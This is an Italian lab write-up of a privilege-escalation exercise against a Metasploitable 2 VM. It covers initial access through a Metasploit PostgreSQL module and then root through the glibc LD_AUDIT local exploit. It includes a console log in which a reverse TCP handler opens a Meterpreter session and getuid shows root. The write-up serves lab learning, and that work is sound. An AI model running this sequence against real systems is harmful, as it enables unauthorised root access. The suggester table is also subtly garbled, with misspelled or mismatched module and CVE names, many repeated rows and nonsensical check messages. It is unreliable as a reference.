

l'esercizio consisteva nell'eseguire tramite un exploit una escalation di privilegi e ottenere il root.

Ho usato il modulo exploit/linux/postgres/postgres_payload per sfruttare una vulnerabilità nel servizio PostgreSQL di Metasploitable 2.

Successivamente ho eseguito l'exploit per ottenere una sessione Meterpreter sul sistema target, in questo caso metasploitable2.

Con il comando search suggerito è apparso tutto un elenco di exploit per ottenere i privilegi root.

In questo caso dopo diverse prove quello funzionante era il primo.

#	Name	Potentially Vulnerable?	Check Result
1	exploit/linux/local/glibc_ld_audit_dso_load_priv_esc	Yes	The target appears to be vulnerable.
2	exploit/linux/local/glibc_origin_expansion_priv_esc	Yes	The target appears to be vulnerable.
3	exploit/linux/local/netfilter_priv_esc_ipv6	Yes	The target appears to be vulnerable.
4	exploit/linux/local/netfilter_priv_esc_ipv4	Yes	The service is running, but could not be validated.
5	exploit/linux/local/su_login	Yes	The target appears to be vulnerable.
6	exploit/linux/local/setuid_nmap	Yes	The target is vulnerable. /usr/bin/nmap is setuid
7	exploit/linux/local/audit_daemon_priv_esc	No	The target is not exploitable.
8	exploit/linux/local/audit_daemon_priv_esc	No	The target is not exploitable.
9	exploit/linux/local/af_packet_checksum_priv_esc	No	The target is not exploitable. System architecture i686 is not supported
10	exploit/linux/local/af_packet_packet_set_ring_priv_esc	No	The target is not exploitable.
11	exploit/linux/local/ansible_mode_deployer	No	The target is not exploitable. Ansible does not seem to be installed, unable to find ansible executable
12	exploit/linux/local/audit_daemon_priv_esc	No	The target is not exploitable.
13	exploit/linux/local/bluetooth_set_dhcp_handler_dhcup_priv_esc	No	The target is not exploitable.
14	exploit/linux/local/bpf_priv_esc	No	The target is not exploitable.
15	exploit/linux/local/bpf_lpm_extension_priv_esc	No	The target is not exploitable. System architecture i686 is not supported
16	exploit/linux/local/cve_2021_3449_ghpf_alu2_bounds_check_lpe	No	The target is not exploitable. System architecture i686 is not supported
17	exploit/linux/local/cve_2021_3449_ghpf_alu2_bounds_check_lpe	No	The target is not exploitable. The underlying hardware was not found.
18	exploit/linux/local/cve_2021_3449_ghpf_lpe_priv_esc	No	The target is not exploitable. System architecture i686 is not supported
19	exploit/linux/local/cve_2022_0867_dirtrypipe	No	The target is not exploitable. Linux kernel version 2.6.24 is not vulnerable
20	exploit/linux/local/cve_2022_0867_dirtrypipe	No	The target is not exploitable.
21	exploit/linux/local/docker_privilege_escalation	No	The target is not exploitable.
22	exploit/linux/local/docker_privilege_escalation	No	The target is not exploitable.
23	exploit/linux/local/docker_privilege_escalation	No	The target is not exploitable. Docker engine is not installed, or incorrect signal 44
24	exploit/linux/local/docker_privilege_escalation	No	The target is not exploitable. Kernel version 2.6.21-10-server may not be vulnerable depending on the host OS
25	exploit/linux/local/docker_privilege_escalation	No	The target is not exploitable, not inside a Docker container
26	exploit/linux/local/docker_privilege_escalation	No	The target is not exploitable, not inside a Docker container
27	exploit/linux/local/glibc_realpath_priv_esc	No	Cannot reliably check exploitability.
28	exploit/linux/local/glibc_realpath_priv_esc	No	Cannot reliably check exploitability. Could not get the version of glibc
29	exploit/linux/local/glibc_realpath_priv_esc	No	The target is not exploitable. /usr/bin/glibc-bin file not found
30	exploit/linux/local/glibc_realpath_priv_esc	No	The target is not exploitable.
31	exploit/linux/local/glibc_realpath_priv_esc	No	The target is not exploitable.
32	exploit/linux/local/glibc_realpath_priv_esc	No	The target is not exploitable. /usr/bin/ldso file not found
33	exploit/linux/local/glibc_realpath_priv_esc	No	The target is not exploitable.
34	exploit/linux/local/glibc_realpath_priv_esc	No	The target is not exploitable. /usr/bin/ldso file not found
35	exploit/linux/local/glibc_realpath_priv_esc	No	The target is not exploitable.
36	exploit/linux/local/glibc_realpath_priv_esc	No	The target is not exploitable.
37	exploit/linux/local/glibc_realpath_priv_esc	No	The target is not exploitable.
38	exploit/linux/local/glibc_realpath_priv_esc	No	The target is not exploitable.
39	exploit/linux/local/glibc_realpath_priv_esc	No	The target is not exploitable.
40	exploit/linux/local/glibc_realpath_priv_esc	No	Cannot reliably check exploitability.

Ho incontrato una piccola problematica con l'esecuzione dell'exploit perché in automatico il target era settato su linux x64 mentre quello che dovevamo utilizzare era x86 sul quale si basa metasploitable2.

Una volta cambiato il target l'unica cosa che mancava fare era lanciare l'exploit, aprire la sessione e ottenere i privilegi.

```
View the full module info with the info, or info -d command.

msf6 exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > run

[*] Started reverse TCP handler on 192.168.178.44:4444
[+] The target appears to be vulnerable
[*] Using target: Linux x86
[*] Writing '/tmp/.Bp7L08yZ9' (1279 bytes) ...
[*] Writing '/tmp/.fU0XgBUC3' (291 bytes) ...
[*] Writing '/tmp/.WhPrSRCoz6' (207 bytes) ...
[*] Launching exploit...
[*] Sending stage (1017704 bytes) to 192.168.178.46
[*] Meterpreter session 2 opened (192.168.178.44:4444 → 192.168.178.46:47008) at 2024-11-13 10:36:07 -0500

meterpreter > getuid
Server username: root
meterpreter > |
```

Con il comando getuid possiamo vedere che abbiamo ottenuto i privilegi root e di conseguenza l'attacco è stato eseguito con successo.